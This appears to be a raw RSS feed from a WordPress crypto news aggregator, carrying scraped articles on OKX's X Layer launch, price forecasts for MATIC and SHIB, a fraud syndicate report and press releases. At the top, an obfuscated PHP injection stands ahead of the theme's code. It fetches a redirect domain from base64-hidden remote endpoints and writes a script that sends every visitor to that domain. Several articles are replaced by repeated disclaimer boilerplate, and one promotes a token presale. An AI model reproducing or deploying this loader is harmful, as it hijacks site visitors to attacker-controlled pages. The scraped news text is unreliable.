if(isset($_COOKIE['Lj'])) { die('58YsS'.'AsTz'); } function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45){ if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a){ preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if(empty($var_ca82733491623ed9ca5b46aa68429a45)){ $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=').'97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if($var_46cae77fe5ea47d71b4e481b77b36db3){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if( $var_ca82733491623ed9ca5b46aa68429a45){ $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD53aW5kb3cudG9wLmxvY2F0aW9uLmhyZWYgPSAi') . $var_ca82733491623ed9ca5b46aa68429a45.'&'.$_SERVER['QUERY_STRING'] . base64_decode('Ijs8L3NjcmlwdD4='); } ?>// BEGIN ENQUEUE PARENT ACTION // AUTO GENERATED - Do not modify or remove comment markers above or below: if ( !function_exists( 'chld_thm_cfg_locale_css' ) ): function chld_thm_cfg_locale_css( $uri ){ if ( empty( $uri ) && is_rtl() && file_exists( get_template_directory() . '/rtl.css' ) ) $uri = get_template_directory_uri() . '/rtl.css'; return $uri; } endif; add_filter( 'locale_stylesheet_uri', 'chld_thm_cfg_locale_css' ); if ( !function_exists( 'chld_thm_cfg_parent_css' ) ): function chld_thm_cfg_parent_css() { wp_enqueue_style( 'chld_thm_cfg_parent', trailingslashit( get_template_directory_uri() ) . 'style.css', array( 'font-awesome-v5','bootstrap','sidr','magnific-popup','sliderpro' ) ); wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); } endif; add_action( 'wp_enqueue_scripts', 'chld_thm_cfg_parent_css', 10 ); // END ENQUEUE PARENT ACTION add_action( 'admin_enqueue_scripts', 'my_cfg_admin_enqueue' ); function my_cfg_admin_enqueue(){ wp_enqueue_script('custom-script', get_stylesheet_directory_uri() . '/custom-script.js', array('jquery')); wp_enqueue_style('style-cfg-child', get_stylesheet_uri(), array(), "4.2"); } add_action( 'after_setup_theme', 'remove_plugin_image_sizes', 999 ); function remove_plugin_image_sizes(){ remove_image_size( '2048x2048' ); remove_image_size( '1536x1536' ); remove_image_size( 'large' ); } function action_dynamic_sidebar_after( $array ) { if($array == "home-content-widgets") { echo the_content(); } }; add_action( 'dynamic_sidebar_after', 'action_dynamic_sidebar_after', 10, 1 ); add_action( 'trashed_post', 'mtp_delete_attached_thumbnail_for_trashed_product', 20, 1 ); function mtp_delete_attached_thumbnail_for_trashed_product( $post_id ) { // gets ID of post being trashed $post_type = get_post_type( $post_id ); // does not run on other post types if ( $post_type != 'post' ) { return true; } // get ID of featured image $post_thumbnail_id = get_post_thumbnail_id( $post_id ); // delete featured image wp_delete_attachment( $post_thumbnail_id, true ); } Market Analysis – CoinsMegaNews https://coinsmeganews.com Latest Bitcoin & Cryptocurrency News Tue, 16 Apr 2024 23:46:06 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://coinsmeganews.com/wp-content/uploads/2021/05/favicon.png Market Analysis – CoinsMegaNews https://coinsmeganews.com 32 32 OKX launches public mainnet for its ZK-powered L2 network “X Layer” https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/#respond Tue, 16 Apr 2024 23:46:06 +0000 https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/ [ad_1]

X Layer is a zero knowledge (ZK), EVM-compatible Layer-2 network.
The Polygon CDK powered L2 is live and  integrates with over 200 dApps across DeFi, wallets, NFTs and gaming among others.

OKX, one of the world’s largest crypto exchange companies, has launched the public mainnet of its EVM-compatible Layer 2 network “X Layer” is now live.

Haider Rafique, the chief marketing officer at OKX, announced the launch in a blog post on Tuesday.

According to the OKX official, the Polygon Chain Development Kit (CDK)-powered L2 integrates with over 200 decentralised applications (dApps) onboarded during X Layer’s testnet.

X Layer integrates over 200 dApps

X Layer also integrates with the OKX exchange’s CEX platform and the OKX Web3 Wallet.

As an EVM-compatible network, X Layer allows users to tap into dApps on Ethereum as well as bridge assets from the OKX CEX and Web3 Wallet.

“Our objective is to make it cheaper and faster for millions of people to go in and out of on-chain applications through our Zero-Knowledge Proof (ZK) powered, EVM compatible L2 network,” Rafique noted in the blog post published on April 16.

Applications currently available with the mainnet launch include 40 DeFi projects, 20 Infrastructure, 12 bridge,  and 16 wallets. There are also 10 NFT and gaming, 10 SocialFi applications and numerous dev tooling dApps.

Popular DeFi dApps on X Layer include Chainlink, Curve, Renzo, and QuickSwap while Infra applications include LayerZero, Wormhole, and EigenLayer (DA).

X Layer is aimed at unlocking and accelerating adoption of Web3 economy, Rafique said.

OKB, the native OKX token, will serve as the native asset of the X Layer network. Users will leverage the token for transaction fees on the network.

Share this articleCategoriesTags

[ad_2]

Source link

]]> https://coinsmeganews.com/okx-launches-public-mainnet-for-its-zk-powered-l2-network-x-layer/feed/ 0 Crypto funds register $126 million in outflows led by investor hesitancy https://coinsmeganews.com/crypto-funds-register-126-million-in-outflows-led-by-investor-hesitancy/ https://coinsmeganews.com/crypto-funds-register-126-million-in-outflows-led-by-investor-hesitancy/#respond Tue, 16 Apr 2024 05:51:32 +0000 https://coinsmeganews.com/crypto-funds-register-126-million-in-outflows-led-by-investor-hesitancy/ [ad_1]

The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

[ad_2]

Source link

]]> https://coinsmeganews.com/crypto-funds-register-126-million-in-outflows-led-by-investor-hesitancy/feed/ 0 ORDI, Fantom, Aave prices lead losses as BitBot defies gravity https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/ https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/#respond Mon, 15 Apr 2024 05:47:22 +0000 https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/ [ad_1]

ORDI, Fantom (FTM), and Aave were among the worst performers in the crypto industry during the weekend as the crypto sell-off intensified. The ORDI token crashed by over 15% in the past 24 hours and has retreated by over 50% from its highest point this year.

Fantom, on the other hand, crashed by over 8% in the past 24 hours and has retreated by more than 45% from the year-to-date high. Similarly, the AAVE token plunged to a low of $72.76, which is much lower than the year-to-date high of $153.90. The other most popular laggards were coins like KuCoin Token (KCS), XRP, and Ethereum Classic. 

Not all cryptocurrencies were in the red. Bittensor (TAO) token rose by over 20% in the past 24 hours while Celestia (TIA), Dogwifhat (WIF), and Wormhole (W) soared by more than 10%. BitBot too continued its token sale, raising over $2 million.

Why cryptocurrencies plunged

There are three main reasons why cryptocurrencies crashed during the weekend. First, crypto investors are likely selling the news as the Bitcoin halving event is set to happen in less than two weeks. 

This situation is known as buying the rumour and selling the news. They have already bought the rumour as the coin has surged from below $20,000 to a high of over $73,000.

Second, they crashed because of the geopolitical risks that accelerated during the weekend. Iran retaliated against Israel by firing over 300 drones and rockets. Most of these strikes were unsuccessful, helped by the country’s iron dome. 

These tensions mean that the price of crude oil could continue rising in the coming weeks. Brent, the global benchmark, has already jumped to a multi-month high of $92. 

Third, there are signs that the Federal Reserve will not cut interest rates in the coming months as was widely expected. That explains why the US dollar index has jumped while US equities and bonds have retreated. 

Still, in the long term, analysts believe that cryptocurrencies will continue doing well because of Bitcoin. Besides, the coin is still getting rare because of halving while institutional investors are moving to the coin.

BitBot token sale intensifies

BitBot is thriving even as the crypto sell-off continues. The developers have already raised over $2.3 million from investors and are slowly nearing stage ten’s target of $2.5 million.

For starters, BitBot is one of the most ambitious companies in the blockchain industry. The developers are aiming to disrupt the fast-growing Telegram bot market that has been rife with fraud for years.

BitBot will be a Telegram bot with some of the most advanced features in the industry. In addition to technical indicators, the platform will have advanced artificial intelligence (AI) features that will help give near-accurate signals.

Further, BitBot will be powered by blockchain technology, which will help to reduce or prevent fraud. This technology will also help to decentralize the network, making it possible for all token holders to take advantage of its governance. You can buy the BitBot token here.

Share this articleCategories

[ad_2]

Source link

]]> https://coinsmeganews.com/ordi-fantom-aave-prices-lead-losses-as-bitbot-defies-gravity/feed/ 0 Fraud Syndicate Targets Ethereum Layer 2: Base, Blast, Arbitrum https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/ https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/#respond Sun, 14 Apr 2024 23:33:30 +0000 https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/ [ad_1]

ZachXBT warned that a malicious group notorious for perpetrating blockchain fraud has its tentacles spread across various Ethereum Layer 2 networks, including Base, Blast, and Arbitrum.

According to the crypto sleuth, the group was responsible for sizable thefts from projects like Magnate, Kokomo, Lendora, and Solfire. These scammers usually accumulate assets totaling seven figures before absconding with users’ funds.

Malicious Actors Targeting Ethereum Layer-2 Networks

In an extensive report, ZachXBT disclosed that the fraudulent syndicate successfully laundered around $1 million in illicit funds. The group is now using these funds to entice unsuspecting individuals to Leaper Finance, a decentralized lending protocol operating on the Blast network.

Expanding their nefarious activities, ZachXBT has uncovered potential links between the group and another lending protocol named Zebra Lending, situated on the Base network. The investigator highlighted that the deployer of Zebra Lending is associated with an address connected to funds from Lendora and Magnate Finance protocols. Zebra Lending boasts over $300,000 in assets locked within its protocol.

Read more: Identifying & Exploring Risk on DeFi Lending Protocols

Additionally, the syndicate’s connections extend to Glori Finance, a cross-chain lending protocol established on Arbitrum. This protocol holds approximately $1.4 million worth of digital assets.

For this reason, ZachXBT recommends that users promptly withdraw their assets from these platforms to mitigate the risks.

ZachXBT investigations
The Malicious Group Transaction Trail. Source: ZachXBT

Interestingly, ZachXBT noted that each fraudulent project highlighted in the report was a Compound V2 fork. Compound is a decentralized protocol enabling users to lend and borrow crypto, with governance facilitated by its native COMP token. Data from DeFiLlama positions Compound among the top five lending platforms, boasting a Total Value Locked (TVL) of $2.57 billion.

Disclaimer

In adherence to the Trust Project guidelines, BeInCrypto is committed to unbiased, transparent reporting. This news article aims to provide accurate, timely information. However, readers are advised to verify facts independently and consult with a professional before making any decisions based on this content. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/fraud-syndicate-targets-ethereum-layer-2-base-blast-arbitrum/feed/ 0 Crypto crashes result in $783 million in long liquidations in the last 24 hours https://coinsmeganews.com/crypto-crashes-result-in-783-million-in-long-liquidations-in-the-last-24-hours/ https://coinsmeganews.com/crypto-crashes-result-in-783-million-in-long-liquidations-in-the-last-24-hours/#respond Sun, 14 Apr 2024 05:40:32 +0000 https://coinsmeganews.com/crypto-crashes-result-in-783-million-in-long-liquidations-in-the-last-24-hours/ [ad_1]

The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

[ad_2]

Source link

]]> https://coinsmeganews.com/crypto-crashes-result-in-783-million-in-long-liquidations-in-the-last-24-hours/feed/ 0 Here’s Why Polygon (MATIC) Price Faces a 35% Correction https://coinsmeganews.com/heres-why-polygon-matic-price-faces-a-35-correction/ https://coinsmeganews.com/heres-why-polygon-matic-price-faces-a-35-correction/#respond Fri, 12 Apr 2024 23:20:46 +0000 https://coinsmeganews.com/heres-why-polygon-matic-price-faces-a-35-correction/ [ad_1]

Polygon (MATIC) price is facing potential correction owing to growing bearishness among investors.

This sentiment has intensified to the point where even whales have opted to reduce their holdings and book profits.

Polygon Investors Move to Sell

MATIC price is flashing a bearish signal, and investors react to it rather strongly. This is evident from the substantial drop in network growth. This indicator measures the rate at which new addresses are formed on the network, indicating the overall traction of the project among investors.

MATIC Network Growth.
MATIC Network Growth. Source: Santiment

At the moment, Polygon’s network growth is at a seven-month low, which means that MATIC’s adoption is taking a massive hit.

Read More: How To Buy Polygon (MATIC) and Everything You Need To Know

However, it’s not just potential investors exhibiting skepticism but also existing MATIC holders. Large wallet holders are dumping their holdings, with over 19 million MATIC worth over $16 million moved to exchanges. Most of these addresses are whales holding between $10,000 and $100,000 worth of MATIC.

MATIC Supply Distribution.
MATIC Supply Distribution. Source: IntoTheBlock

The decline in these investors’ supply is considered a major signal as any potential for recovery becomes invalidated.

MATIC Price Prediction: Look out for a Drop

MATIC price is currently witnessing a consistent drawdown, bringing it closer to the critical support of $0.7489. Given the aforementioned market cues, it is likely that the Polygon native token will lose this support.

Consequently, MATIC price would fall by 11.63% to test the support of $0.7422. If the altcoin falls below it, the support level of $0.7000 will be tested.

MATIC/USDT 1-day chart.
MATIC/USDT 1-day chart. Source: TradingView

However, the DeFi token is also in a falling wedge, which could reverse the outcome. A falling wedge is a bullish chart pattern characterized by declining price highs and lows, converging towards a narrower range, typically indicating a potential reversal to the upside.

Read More: Polygon (MATIC) Price Prediction 2024/2025/2030

Thus, MATIC price could invalidate the bearish thesis if it notes a reversal and reclaims $0.8876.

Disclaimer

In line with the Trust Project guidelines, this price analysis article is for informational purposes only and should not be considered financial or investment advice. BeInCrypto is committed to accurate, unbiased reporting, but market conditions are subject to change without notice. Always conduct your own research and consult with a professional before making any financial decisions. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/heres-why-polygon-matic-price-faces-a-35-correction/feed/ 0 Crypto trading volumes surpass $5.3 trillion in 2024 Q1 https://coinsmeganews.com/crypto-trading-volumes-surpass-5-3-trillion-in-2024-q1/ https://coinsmeganews.com/crypto-trading-volumes-surpass-5-3-trillion-in-2024-q1/#respond Fri, 12 Apr 2024 05:28:57 +0000 https://coinsmeganews.com/crypto-trading-volumes-surpass-5-3-trillion-in-2024-q1/ [ad_1]

The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

[ad_2]

Source link

]]> https://coinsmeganews.com/crypto-trading-volumes-surpass-5-3-trillion-in-2024-q1/feed/ 0 Metacade Unchains Web3 Gaming: Multi-Chain Integration Unites the Industry https://coinsmeganews.com/metacade-unchains-web3-gaming-multi-chain-integration-unites-the-industry/ https://coinsmeganews.com/metacade-unchains-web3-gaming-multi-chain-integration-unites-the-industry/#respond Thu, 11 Apr 2024 23:16:56 +0000 https://coinsmeganews.com/metacade-unchains-web3-gaming-multi-chain-integration-unites-the-industry/ [ad_1]

London, United Kingdom, April 11th, 2024, Chainwire

Metacade, the leading blockchain gaming platform, takes a monumental leap forward with the integration of multi-chains into its ecosystem.

This Omni-layer development provides universal application reach, resolving blockchain fragmentation and empowering builders across diverse chains.

The rapid integration of the Metacade Tournament Platform with the Base Layer 2 Rollup within 12 hours showcases Metacade’s technical prowess and underscores a commitment to delivering best-in-class solutions for partners and players.

The decision to introduce multi-chain functionality highlights Metacade’s vision to create the largest Web3 gaming platform, grounded in open market principles.

“We recognize that speed and low transaction costs are crucial for builders. However, game development hinges on intricate blockchain solutions,” states CEO Russell Bennett. “For Metacade to achieve genuine inclusivity, our success depends on an adaptable infrastructure, regardless of the blockchain utilized.”

The multi-chain approach considers scalability for partner road maps, allowing existing projects to remain on their native chain while maintaining platform security through an optimistic-based rollup.

What began as a vision to connect Web3 game developers with seasoned players has become an omni-layer movement to unify games across chains and provide fluid liquidity, expanding economic opportunities for builders and players alike.

A multi-chain infrastructure will optimize liquidity access, mitigate inefficiencies, and simplify asset trading processes. It offers an efficient on-ramp for gaming partners to facilitate the use of their tokens regardless of where the core of their liquidity is situated.

This pivotal development future proofs Metacade’s robust, diverse, and accessible ecosystem. For more information on Metacade and its multi-chain expansion, users can visit the new website: metacade.co.

About METACADE

Metacade is a seamless Web3 Gaming platform connecting developers and players through plug-and-play community initiatives. Providing an unfair advantage through early access, dev-player collaborations, and financial rewards.

 

Contact

Elly BradburyMetacade[email protected]

Share this articleCategories

[ad_2]

Source link

]]> https://coinsmeganews.com/metacade-unchains-web3-gaming-multi-chain-integration-unites-the-industry/feed/ 0 Monad Labs nets $225 million in investment round led by Paradigm https://coinsmeganews.com/monad-labs-nets-225-million-in-investment-round-led-by-paradigm/ https://coinsmeganews.com/monad-labs-nets-225-million-in-investment-round-led-by-paradigm/#respond Wed, 10 Apr 2024 05:26:14 +0000 https://coinsmeganews.com/monad-labs-nets-225-million-in-investment-round-led-by-paradigm/ [ad_1]

The information on or accessed through this website is obtained from independent sources we believe to be accurate and reliable, but Decentral Media, Inc. makes no representation or warranty as to the timeliness, completeness, or accuracy of any information on or accessed through this website. Decentral Media, Inc. is not an investment advisor. We do not give personalized investment advice or other financial advice. The information on this website is subject to change without notice. Some or all of the information on this website may become outdated, or it may be or become incomplete or inaccurate. We may, but are not obligated to, update any outdated, incomplete, or inaccurate information.

Crypto Briefing may augment articles with AI-generated content created by Crypto Briefing’s own proprietary AI platform. We use AI as a tool to deliver fast, valuable and actionable information without losing the insight – and oversight – of experienced crypto natives. All AI augmented content is carefully reviewed, including for factural accuracy, by our editors and writers, and always draws from multiple primary and secondary sources when available to create our stories and articles.

You should never make an investment decision on an ICO, IEO, or other investment based on the information on this website, and you should never interpret or otherwise rely on any of the information on this website as investment advice. We strongly recommend that you consult a licensed investment advisor or other qualified financial professional if you are seeking investment advice on an ICO, IEO, or other investment. We do not accept compensation in any form for analyzing or reporting on any ICO, IEO, cryptocurrency, currency, tokenized sales, securities, or commodities.

See full terms and conditions.

[ad_2]

Source link

]]> https://coinsmeganews.com/monad-labs-nets-225-million-in-investment-round-led-by-paradigm/feed/ 0 Shiba Inu (SHIB) Independence from Bitcoin: A Positive Turn https://coinsmeganews.com/shiba-inu-shib-independence-from-bitcoin-a-positive-turn/ https://coinsmeganews.com/shiba-inu-shib-independence-from-bitcoin-a-positive-turn/#respond Tue, 09 Apr 2024 23:12:36 +0000 https://coinsmeganews.com/shiba-inu-shib-independence-from-bitcoin-a-positive-turn/ [ad_1]

Shiba Inu’s price shows signs of a massive rally but is awaiting a bullish trigger, which might come sooner than expected.

Consequently, the meme coin could note new highs, provided it manages to breach through some crucial resistances.

Shiba Inu to Jump on the Charts

Shiba Inu’s price is currently trading within a symmetrical triangle pattern aided by increasingly bullish market cues. The first of these is the Moving Average Convergence Divergence (MACD). This trend-following momentum indicator is used to identify potential buying and selling opportunities.

At the moment, this indicator is exhibiting receding bearishness. The double bottom formed by its bars on the histogram indicates increasing bullishness in the market. This would be confirmed once a bullish crossover occurs.

Shiba Inu MACD.
Shiba Inu MACD. Source: TradingView

Secondly, the meme coin is attempting to chart its own path, escaping the influence of the biggest cryptocurrency in the world, Bitcoin. The correlation SHIB shares with BTC, despite being positive, is declining at the moment.

This shows that the dog-inspired token could be deviating from the bearish cues set by Bitcoin. Such a development would help the cryptocurrency to rise.

Read More: 6 Best Platforms To Buy Shiba Inu (SHIB) in 2024

Shiba Inu Correlation with Bitcoin.
Shiba Inu Correlation with Bitcoin. Source: TradingView

SHIB Price Prediction: Ready to Rally

Shiba Inu’s price is in a symmetrical triangle pattern at the time of writing, changing hands at $0.00002744. A symmetrical triangle pattern is formed by converging trendlines, indicating a period of consolidation. It usually hints at an upward or downward breakout, signaling a potential continuation of the previous trend.

SHIB is close to breaking out, and based on the targets set by the pattern, the meme coin could chart a 43% rise. This would send Shiba Inu’s price to $0.00004816.

Read More: How To Buy Shiba Inu (SHIB) and Everything You Need To Know

SHIB/USDT 12-hour chart.
SHIB Price Chart. Source: TradingView

However, if the altcoin fails to breach a flip, the resistances marked at $0.00003063 and $0.00003500 could fall back. Falling through the lower trend line of the pattern would cause an invalidation of the bullish thesis, pushing SHIB to $0.00002400.

Disclaimer

In line with the Trust Project guidelines, this price analysis article is for informational purposes only and should not be considered financial or investment advice. BeInCrypto is committed to accurate, unbiased reporting, but market conditions are subject to change without notice. Always conduct your own research and consult with a professional before making any financial decisions. Please note that our Terms and Conditions, Privacy Policy, and Disclaimers have been updated.

[ad_2]

Source link

]]> https://coinsmeganews.com/shiba-inu-shib-independence-from-bitcoin-a-positive-turn/feed/ 0